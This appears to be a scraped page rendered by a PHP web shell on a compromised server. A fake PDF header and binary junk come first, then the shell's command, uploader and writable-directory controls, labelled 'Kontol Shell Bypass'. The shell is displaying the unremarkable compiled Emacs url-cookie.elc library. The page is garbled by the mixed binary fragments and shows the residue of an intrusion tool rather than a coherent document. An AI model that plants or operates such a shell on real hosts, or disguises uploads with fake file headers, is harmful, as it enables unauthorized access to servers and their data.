%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :
ikan Uploader :
Directory :  /usr/share/emacs/25.2/lisp/url/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //usr/share/emacs/25.2/lisp/url/url-cookie.elc
;ELC
;;; Compiled
;;; in Emacs version 25.2.1
;;; with all optimizations.

;;; This file uses dynamic docstrings, first added in Emacs 19.29.

;;; This file does not contain utf-8 non-ASCII characters,
;;; and so can be loaded in Emacs versions earlier than 23.

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


(byte-code "\300\301!\210\300\302!\210\300\303!\210\304\305\306\307\310\311\310\312\313\314&	\207" [require url-util url-parse url-domsuf custom-declare-group url-cookie nil "URL cookies." :prefix "url-" "url-cookie-" :group url] 10)
(defalias 'url-cookie-p--cmacro #[(_cl-whole-arg cl-x) "\301\302\303\304\211\211&\207" [cl-x cl--defsubst-expand (cl-x) (cl-block url-cookie-p (declare (side-effect-free error-free)) (and (vectorp cl-x) (>= (length cl-x) 7) (memq (aref cl-x 0) cl-struct-url-cookie-tags) t)) nil] 7])
(put 'url-cookie-p 'compiler-macro 'url-cookie-p--cmacro)
(defalias 'url-cookie-p #[(cl-x) "\302!\205G\303Y\205\304H	>\205\305\207" [cl-x cl-struct-url-cookie-tags vectorp 7 0 t] 2])
(byte-code "\300\301\302\303#\210\304\305\306\301#\207" [function-put url-cookie-p side-effect-free error-free put url-cookie cl-deftype-satisfies] 4)
(defalias 'url-cookie-name--cmacro #[(_cl-whole-arg cl-x) "\301\302\303\304\211\211&\207" [cl-x cl--defsubst-expand (cl-x) (cl-block url-cookie-name (declare (side-effect-free t)) (or (and (memq (aref cl-x 0) cl-struct-url-cookie-tags)) (signal 'wrong-type-argument (list 'url-cookie cl-x))) (aref cl-x 1)) nil] 7])
(put 'url-cookie-name 'compiler-macro 'url-cookie-name--cmacro)
(defalias 'url-cookie-name #[(cl-x) "\302H	>\204\303\304\305D\"\210\306H\207" [cl-x cl-struct-url-cookie-tags 0 signal wrong-type-argument url-cookie 1] 4])
(function-put 'url-cookie-name 'side-effect-free t)
(defalias 'url-cookie-value--cmacro #[(_cl-whole-arg cl-x) "\301\302\303\304\211\211&\207" [cl-x cl--defsubst-expand (cl-x) (cl-block url-cookie-value (declare (side-effect-free t)) (or (and (memq (aref cl-x 0) cl-struct-url-cookie-tags)) (signal 'wrong-type-argument (list 'url-cookie cl-x))) (aref cl-x 2)) nil] 7])
(put 'url-cookie-value 'compiler-macro 'url-cookie-value--cmacro)
(defalias 'url-cookie-value #[(cl-x) "\302H	>\204\303\304\305D\"\210\306H\207" [cl-x cl-struct-url-cookie-tags 0 signal wrong-type-argument url-cookie 2] 4])
(function-put 'url-cookie-value 'side-effect-free t)
(defalias 'url-cookie-expires--cmacro #[(_cl-whole-arg cl-x) "\301\302\303\304\211\211&\207" [cl-x cl--defsubst-expand (cl-x) (cl-block url-cookie-expires (declare (side-effect-free t)) (or (and (memq (aref cl-x 0) cl-struct-url-cookie-tags)) (signal 'wrong-type-argument (list 'url-cookie cl-x))) (aref cl-x 3)) nil] 7])
(put 'url-cookie-expires 'compiler-macro 'url-cookie-expires--cmacro)
(defalias 'url-cookie-expires #[(cl-x) "\302H	>\204\303\304\305D\"\210\306H\207" [cl-x cl-struct-url-cookie-tags 0 signal wrong-type-argument url-cookie 3] 4])
(function-put 'url-cookie-expires 'side-effect-free t)
(defalias 'url-cookie-localpart--cmacro #[(_cl-whole-arg cl-x) "\301\302\303\304\211\211&\207" [cl-x cl--defsubst-expand (cl-x) (cl-block url-cookie-localpart (declare (side-effect-free t)) (or (and (memq (aref cl-x 0) cl-struct-url-cookie-tags)) (signal 'wrong-type-argument (list 'url-cookie cl-x))) (aref cl-x 4)) nil] 7])
(put 'url-cookie-localpart 'compiler-macro 'url-cookie-localpart--cmacro)
(defalias 'url-cookie-localpart #[(cl-x) "\302H	>\204\303\304\305D\"\210\306H\207" [cl-x cl-struct-url-cookie-tags 0 signal wrong-type-argument url-cookie 4] 4])
(function-put 'url-cookie-localpart 'side-effect-free t)
(defalias 'url-cookie-domain--cmacro #[(_cl-whole-arg cl-x) "\301\302\303\304\211\211&\207" [cl-x cl--defsubst-expand (cl-x) (cl-block url-cookie-domain (declare (side-effect-free t)) (or (and (memq (aref cl-x 0) cl-struct-url-cookie-tags)) (signal 'wrong-type-argument (list 'url-cookie cl-x))) (aref cl-x 5)) nil] 7])
(put 'url-cookie-domain 'compiler-macro 'url-cookie-domain--cmacro)
(defalias 'url-cookie-domain #[(cl-x) "\302H	>\204\303\304\305D\"\210\306H\207" [cl-x cl-struct-url-cookie-tags 0 signal wrong-type-argument url-cookie 5] 4])
(function-put 'url-cookie-domain 'side-effect-free t)
(defalias 'url-cookie-secure--cmacro #[(_cl-whole-arg cl-x) "\301\302\303\304\211\211&\207" [cl-x cl--defsubst-expand (cl-x) (cl-block url-cookie-secure (declare (side-effect-free t)) (or (and (memq (aref cl-x 0) cl-struct-url-cookie-tags)) (signal 'wrong-type-argument (list 'url-cookie cl-x))) (aref cl-x 6)) nil] 7])
(put 'url-cookie-secure 'compiler-macro 'url-cookie-secure--cmacro)
(defalias 'url-cookie-secure #[(cl-x) "\302H	>\204\303\304\305D\"\210\306H\207" [cl-x cl-struct-url-cookie-tags 0 signal wrong-type-argument url-cookie 6] 4])
(function-put 'url-cookie-secure 'side-effect-free t)
#@75 

(fn CL-WHOLE &cl-quote &key NAME VALUE EXPIRES LOCALPART DOMAIN SECURE)
(defalias 'url-cookie-create--cmacro #[(cl-whole &rest #1=#:--cl-rest--) "\306\307\"A@\306\310\"A@\306\311\"A@\306\312\"A@\306\313\"A@\306\314\"A@\203^@\315>\203EAA\211\2020\316>A@\203T\317\211\2020\320\321@\"\210\202.)\322\323\324\317\317	\n\f
&.\207" [#1# name value expires localpart domain plist-member :name :value :expires :localpart :domain :secure (:name :value :expires :localpart :domain :secure :allow-other-keys) :allow-other-keys nil error "Keyword argument %s not one of (:name :value :expires :localpart :domain :secure)" cl--defsubst-expand (name value expires localpart domain secure) (cl-block url-cookie-create "Constructor for objects of type `url-cookie'." (declare (side-effect-free t)) (vector 'url-cookie name value expires localpart domain secure)) secure #2=#:--cl-keys-- cl-whole] 13 (#$ . 4927)])
(put 'url-cookie-create 'compiler-macro 'url-cookie-create--cmacro)
#@101 Constructor for objects of type `url-cookie'.

(fn &key NAME VALUE EXPIRES LOCALPART DOMAIN SECURE)
(defalias 'url-cookie-create #[(&rest #1=#:--cl-rest--) "\306\307\"A@\306\310\"A@\306\311\"A@\306\312\"A@\306\313\"A@\306\314\"A@\203^@\315>\203EAA\211\2020\316>A@\203T\317\211\2020\320\321@\"\210\202.)\322\323	\n\f
&.\207" [#1# name value expires localpart domain plist-member :name :value :expires :localpart :domain :secure (:name :value :expires :localpart :domain :secure :allow-other-keys) :allow-other-keys nil error "Keyword argument %s not one of (:name :value :expires :localpart :domain :secure)" vector url-cookie secure #2=#:--cl-keys--] 9 (#$ . 5943)])
(byte-code "\300\301\302\303#\210\304\305\306\211\307\303\310\311\305\306&	\207" [function-put url-cookie-create side-effect-free t cl-struct-define url-cookie nil vector ((cl-tag-slot) (name) (value) (expires) (localpart) (domain) (secure)) cl-struct-url-cookie-tags] 10)
#@27 Where cookies are stored.
(defvar url-cookie-storage nil (#$ . 6929))
#@34 Where secure cookies are stored.
(defvar url-cookie-secure-storage nil (#$ . 7005))
(byte-code "\300\301\302\303\304\305\306\307\306\310&	\210\300\311\302\312\304\313\306\310&\210\300\314\302\315\304\313\306\310&\207" [custom-declare-variable url-cookie-file nil "File where cookies are stored on disk." :type (choice (const :tag "Default" :value nil) file) :group url-file url-cookie url-cookie-confirmation "If non-nil, confirmation by the user is required to accept HTTP cookies." boolean url-cookie-multiple-line "If nil, HTTP requests put all cookies for the server on one line.\nSome web servers, such as http://www.hotmail.com/, only accept cookies\nwhen they are on one line.  This is broken behavior, but just try\ntelling Microsoft that."] 10)
#@69 Whether the cookies list has changed since the last save operation.
(defvar url-cookies-changed-since-last-save nil (#$ . 7767))
#@40 Load FNAME, default `url-cookie-file'.
(defalias 'url-cookie-parse-file #[(&optional fname) "\302\206	\303\211#\207" [fname url-cookie-file load t] 4 (#$ . 7902)])
(defalias 'url-cookie-clean-up #[(&optional secure) "\203\306\202	\307\310\211\211J\310\211\203\203
@\310\fA\310\211\203o
@\311!\203hG\312Y\203h\313H>\203h\314!\204h\313H>\204\\\315\316\317D\"\210\320H\203h	B
A\211\204&*	\203|\f	\241\210\f\nB
A\211\204*\nL+\207" [secure new-cookies new var cur --dolist-tail-- url-cookie-secure-storage url-cookie-storage nil vectorp 7 0 url-cookie-expired-p signal wrong-type-argument url-cookie 3 cur-cookie cl-struct-url-cookie-tags] 5])
(defalias 'url-cookie-write-file #[(&optional fname) "\205i	\204\f\306\n!\3071\310	!\210\3110\202\210\202 \203%\312\313	\"\207\314 \210\314\315!\210\316\317!rq\210\320\216\321\322\323\261\210\311\211\324p\"\210\325c\210\324 p\"\210*\326c\210\327\330\331\332\261\210\333\334!\210\335\336	!\210+\311\211\207" [url-cookies-changed-since-last-save fname url-cookie-file #1=#:temp-buffer print-level print-length expand-file-name (error) url-make-private-file nil message "Error accessing cookie file `%s'" url-cookie-clean-up t generate-new-buffer " *temp*" #[nil "\301!\205	\302!\207" [#1# buffer-name kill-buffer] 2] ";; Emacs-W3 HTTP cookies file\n" ";; Automatically generated file!!! DO NOT EDIT!!!\n\n" "(setq url-cookie-storage\n '" pp ")\n(setq url-cookie-secure-storage\n '" ")\n" "\f\n;; Local Variables:\n" ";; version-control: never\n" ";; no-byte-compile: t\n" ";; End:\n" make-local-variable version-control never write-file url-cookie-storage url-cookie-secure-storage] 4])
#@17 Store a cookie.
(defalias 'url-cookie-store #[(name value &optional expires domain localpart secure) "G\306V\205	\203\n\202\307\211\310\"\211\203\317\fA\211\307\211\203\260@\306H>\204H\311\312\313D\"\210\314H\232\203\247\306H>\204c\311\312\313D\"\210\315H\232\203\247\306H>\204}\311\312\313D\"\210\211\316I\210)\306H>\204\232\311\312\313D\"\210\211\317I\210)\320A\211\204/\307
*?\205\f\321\313	&\fAB\241\202\321\313	&\203\361
DAB\241\202	\203\377
DC\211\202
DC\211+\207" [name secure url-cookie-secure-storage url-cookie-storage found-domain tmp 0 nil assoc signal wrong-type-argument url-cookie 4 1 3 2 t vector storage domain cur --dolist-tail-- localpart cl-struct-url-cookie-tags #1=#:v expires #2=#:v value] 10 (#$ . 9613)])
#@38 Return non-nil if COOKIE is expired.
(defalias 'url-cookie-expired-p #[(cookie) "\303H	>\204\304\305\306D\"\210\307H\211G\303V\205,\3101*\311 \311\312\n!!V0\202,\210\313)\207" [cookie cl-struct-url-cookie-tags exp 0 signal wrong-type-argument url-cookie 3 (error) float-time date-to-time nil] 5 (#$ . 10480)])
#@58 Retrieve all cookies for a specified HOST and LOCALPART.
(defalias 'url-cookie-retrieve #[(host &optional localpart secure) "\203\306	\n\"\202\f\n\307\310\211\211\211\310\211\203\263@\211A@\203\252\311\312\313@\314H\315=\203E@\316\310O\202H@!\317Q\"\203\252
\310\211\203\251@\211\314H>\204q\320\321\322D\"\210\323H\211;\203\215;\203\215\311\324\313!P\"\202\221\232\203\240\325!\204\240\fBA\211\204[*A\211\204!*\f-\207" [secure url-cookie-secure-storage url-cookie-storage localpart-match retval cookies append t nil string-match "^.*" regexp-quote 0 46 1 "$" signal wrong-type-argument url-cookie 4 "^" url-cookie-expired-p case-fold-search storage cur --dolist-tail-- host cl-struct-url-cookie-tags localpart] 7 (#$ . 10805)])
(defalias 'url-cookie-generate-header-lines #[(host localpart secure) "\306	\n#\307\211\211\205\310
\311\"\211\307\211\203\202@\312\313\314H>\2046\315\316\317D\"\210\320H\314H>\204L\315\316\317D\"\210\321H#\203j\322\323\fGG\324#W\203j\f\325Q\202x\f\203u\f\326Q\202x\327PA\211\204*\f\203\215\f\330P\202\216\331+\207" [host localpart secure chunk retval cookies url-cookie-retrieve nil sort #[(x y) "\303H	>\204\304\305\306D\"\210\307HG\n\303H	>\204\"\304\305\306\nD\"\210\n\307HGV\207" [x cl-struct-url-cookie-tags y 0 signal wrong-type-argument url-cookie 4] 5] format "%s=%s" 0 signal wrong-type-argument url-cookie 1 2 80 + 4 "
\nCookie: " "; " "Cookie: " "
\n" "" cur --dolist-tail-- cl-struct-url-cookie-tags url-cookie-multiple-line] 8])
(byte-code "\300\301\302\303\304\305\306\307&\210\300\310\302\311\304\312\306\307&\207" [custom-declare-variable url-cookie-trusted-urls nil "A list of regular expressions matching URLs to always accept cookies from." :type (repeat regexp) :group url-cookie url-cookie-untrusted-urls "A list of regular expressions matching URLs to never accept cookies from." (repeat regexp)] 8)
(defalias 'url-cookie-host-can-set-p #[(host domain) "\304\305\n\230\203\305\202)\306H\307=\203\310\304O\311!\205)\312\313!\314P\n\"*\207" [case-fold-search last host domain nil t 0 46 1 url-domsuf-cookie-allowed-p string-match regexp-quote "$"] 3])
(defalias 'url-cookie-handle-set-cookie #[(str) "\306\307	\306\"\306\310\311\n\306#\205\306\310\312\n\306#\243\206/
\313H;>\204,\314\315\316
D\"\210
\317H<\320\306!=>%?$\310\321\n\306#\243@\310\322\n\306#\243\206d\323
\313H;>\204`\314\315\316
D\"\210
\324H!A\325B\n\325C\211D\203\220D@\211C@\227\326\235\204\207CBBBDA\211D\204s*@\203\300\327\330@\"\203\300\331\332@\"\333\331\334@\"\333\331\335@\"\333\331\317@\"\336\331\337@\"\340\260\n@@\203\356\327\341@\"\203\356\331\332@\"\342\331\334@\"\342\331\335@\"\333\331\317@\"\343\331\324@\"\260	@%:\203\327%@=\"\203	\313\225\313\224Z\211%\202\360%\211A%\210\202\356$:\2038\327$@=\"\203.\313\225\313\224Z\211$\202$\211A$\210\202%\203R$\203R%$V\203N\344\202O\345\325L\210$\203[\325\202jE\346=\204oE<\203s\347E>\203s\325\202jF\203	%\204	\350 G\351\216HIr\352\353!q\210p\354 \210IH\325\211JK\306\211L\306MN\355 \210\356\357!\210+\211OPB\325Q\211D\203\326D@Q\360\361\362Q@QA#!\210DA\211D\204\274*\363O!\210+R\361\364
\313H;>\204\361\314\315\316
D\"\210
\317H\"!?\365\353!\203\366\353!\210*\203	\325\202j\367
\313H;>\204\314\315\316
D\"\210
\317H<\"\203RB\325S\211D\205ND@S\370S@SA@<A\f&\210DA\211D\204.\325*\202j\371\372
\313H;>\204d\314\315\316
D\"\210
\317H<#.\n\207" [url-cookies-changed-since-last-save str args case-fold-search secure url-current-object t url-parse-args assoc-string "secure" "domain" 0 signal wrong-type-argument url 4 url-view-url "expires" "path" file-name-directory 6 nil ("secure" "domain" "expires" "path") string-match "^[^,]+, +\\(..\\)-\\(...\\)-\\(..\\) +\\(..:..:..\\) +\\[*\\([^]]+\\)\\]*$" match-string 1 " " 2 3 " [" 5 "]" "\\([0-9]+\\)-\\([A-Za-z]+\\)-\\([0-9]+\\)[ 	]+\\([0-9]+:[0-9]+:[0-9]+\\)\\(\\.[0-9]+\\)*[ 	]+\\([-+a-zA-Z0-9]+\\)" "-" ".00 " untrusted trusted paranoid cookies current-window-configuration #[nil "\301!\207" [#1=#:wconfig set-window-configuration] 2] get-buffer-create "*Cookie Warning*" kill-all-local-variables erase-buffer run-hooks temp-buffer-setup-hook princ format "%s - %s" internal-temp-output-buffer-show "Allow %s to set these cookies? " get-buffer kill-buffer url-cookie-host-can-set-p url-cookie-store url-lazy-message "%s tried to set a cookie for domain %s - rejected." cl-struct-url-tags domain current-url url-cookie-trusted-urls url-cookie-untrusted-urls expires localpart rest this --dolist-tail-- url-privacy-level url-cookie-confirmation #1# default-directory #2=#:old-dir buffer-read-only buffer-file-name buffer-undo-list inhibit-modification-hooks inhibit-read-only #3=#:buf standard-output x url-confirmation-func cur] 12])
(defvar url-cookie-timer nil)
#@258 The number of seconds between automatic saves of cookies.
Default is 1 hour.  Note that if you change this variable outside of
the `customize' interface after `url-do-setup' has been run, you need
to run the `url-cookie-setup-save-timer' function manually.
(custom-declare-variable 'url-cookie-save-interval 3600 '(#$ . 15805) :set #[(var val) "\303	\"\210\304\302!\205\n\205\305 \207" [var val url-setup-done set-default boundp url-cookie-setup-save-timer] 3] :type 'integer :group 'url-cookie)
#@31 Reset the cookie saver timer.
(defalias 'url-cookie-setup-save-timer #[nil "\3021\303!0\202\210\202\210\304	\205\305	\211\306#\211\207" [url-cookie-timer url-cookie-save-interval (error) cancel-timer nil run-at-time url-cookie-write-file] 4 (#$ . 16312) nil])
#@135 Display a buffer listing the current URL cookies, if there are any.
Use \<url-cookie-mode-map>\[url-cookie-delete] to remove cookies.
(defalias 'url-cookie-list #[nil "\204\f	\204\f\306\307!\210\310\311!\210\312\313\314\315	\"!\316\"\317\320\211\211\211\"#$\321 \210\322 \210#\320%\211&\203Q&@%\"%@G]\"&A\211&\204:*\303\323\"\"\324\303\325\326\327$P'#\320%\211&\203\355&@\211%@\313\314%A!\330\"\320(\211&\203\343&@(`(\317H)>\204\237\331\332\333(D\"\210(\334H\211G\335V\203\260\f\317\335O\303\n\f(\317H)>\204\306\331\332\333(D\"\210(\336H$\337\261\210\340\341
\211T\333($\210&A\211&\204\206*&A\211&\204m*eb.\207" [url-cookie-secure-storage url-cookie-storage domain format name start error "No cookies are defined" pop-to-buffer "*url cookies*" t sort copy-sequence append #[(e1 e2) "@	@\231\207" [e1 e2] 2] 0 nil erase-buffer url-cookie-mode "%%-%ds %%-20s %%s" " " "Domain" "Name" "Value" #[(c1 c2) "\303H	>\204\304\305\306D\"\210\307H\n\303H	>\204!\304\305\306\nD\"\210\n\307H\231\207" [c1 cl-struct-url-cookie-tags c2 0 signal wrong-type-argument url-cookie 1] 5] signal wrong-type-argument url-cookie 1 20 2 "\n" "" put-text-property domain-length domains inhibit-read-only elem --dolist-tail-- header-line-format cookie cl-struct-url-cookie-tags] 9 (#$ . 16590) nil])
#@40 Delete the cookie on the current line.
(defalias 'url-cookie-delete #[nil "\306\307 \310\"\311\312\211\204\313\314!\210\n\315H>\204!\316\317\310\nD\"\210\n\320H\203+\321\202,\322\211J\323\n\315H>\204@\316\317\310\nD\"\210\n\324H\f\"\325\n
\"\211AG\315U\203X\325
\f\"\fL\210*\311\326 \210\307 \327y\210`|+\207" [variable inhibit-read-only cookie cl-struct-url-cookie-tags list elem get-text-property line-beginning-position url-cookie t nil error "No cookie on the current line" 0 signal wrong-type-argument 6 url-cookie-secure-storage url-cookie-storage assoc 5 delq url-cookie-write-file 1 url-cookies-changed-since-last-save] 6 (#$ . 17941) nil])
#@26 Kill the current buffer.
(defalias 'url-cookie-quit #[nil "\300p!\207" [kill-buffer] 2 (#$ . 18616) nil])
(defvar url-cookie-mode-map (byte-code "\301 \302!\210\303\304\305#\210\303\306\307#\210\303\310\307#\210)\207" [map make-sparse-keymap suppress-keymap define-key "q" url-cookie-quit [delete] url-cookie-delete [(control k)]] 4))
#@167 Hook run after entering URL Cookie mode.
No problems result if this variable is not bound.
`add-hook' automatically binds it.  (This is true for all hook variables.)
(defvar url-cookie-mode-hook nil (#$ . 18964))
(byte-code "\300\301!\204\f\302\301\303\304#\210\300\207" [boundp url-cookie-mode-map put definition-name url-cookie-mode] 4)
(defvar url-cookie-mode-map (make-sparse-keymap))
(byte-code "\300\301N\204\302\300\301\303\304!#\210\305\306!\204\302\306\307\310#\210\300\207" [url-cookie-mode-map variable-documentation put purecopy "Keymap for `url-cookie-mode'." boundp url-cookie-mode-syntax-table definition-name url-cookie-mode] 5)
(defvar url-cookie-mode-syntax-table (make-syntax-table))
(byte-code "\300\301N\204\302\300\301\303\304!#\210\302\305\306\307#\207" [url-cookie-mode-syntax-table variable-documentation put purecopy "Syntax table for `url-cookie-mode'." url-cookie-mode-abbrev-table definition-name url-cookie-mode] 5)
(defvar url-cookie-mode-abbrev-table (progn (define-abbrev-table 'url-cookie-mode-abbrev-table nil) url-cookie-mode-abbrev-table))
(byte-code "\300\301N\204\302\300\301\303\304!#\210\302\305\306\307#\207" [url-cookie-mode-abbrev-table variable-documentation put purecopy "Abbrev table for `url-cookie-mode'." url-cookie-mode derived-mode-parent nil] 5)
#@141 Mode for listing cookies.

\{url-cookie-mode-map}

This mode runs the hook `url-cookie-mode-hook', as the final step
during initialization.
(defalias 'url-cookie-mode #[nil "\306\300!\210\307\310 \210\311\312\313!\210\314\f!\210
\315 \210\307\211)\316\317!\207" [delay-mode-hooks major-mode mode-name url-cookie-mode-map url-cookie-mode-syntax-table url-cookie-mode-abbrev-table make-local-variable t kill-all-local-variables url-cookie-mode "URL Cookie" use-local-map set-syntax-table buffer-disable-undo run-mode-hooks url-cookie-mode-hook local-abbrev-table buffer-read-only truncate-lines] 3 (#$ . 20279) nil])
(provide 'url-cookie)

Kontol Shell Bypass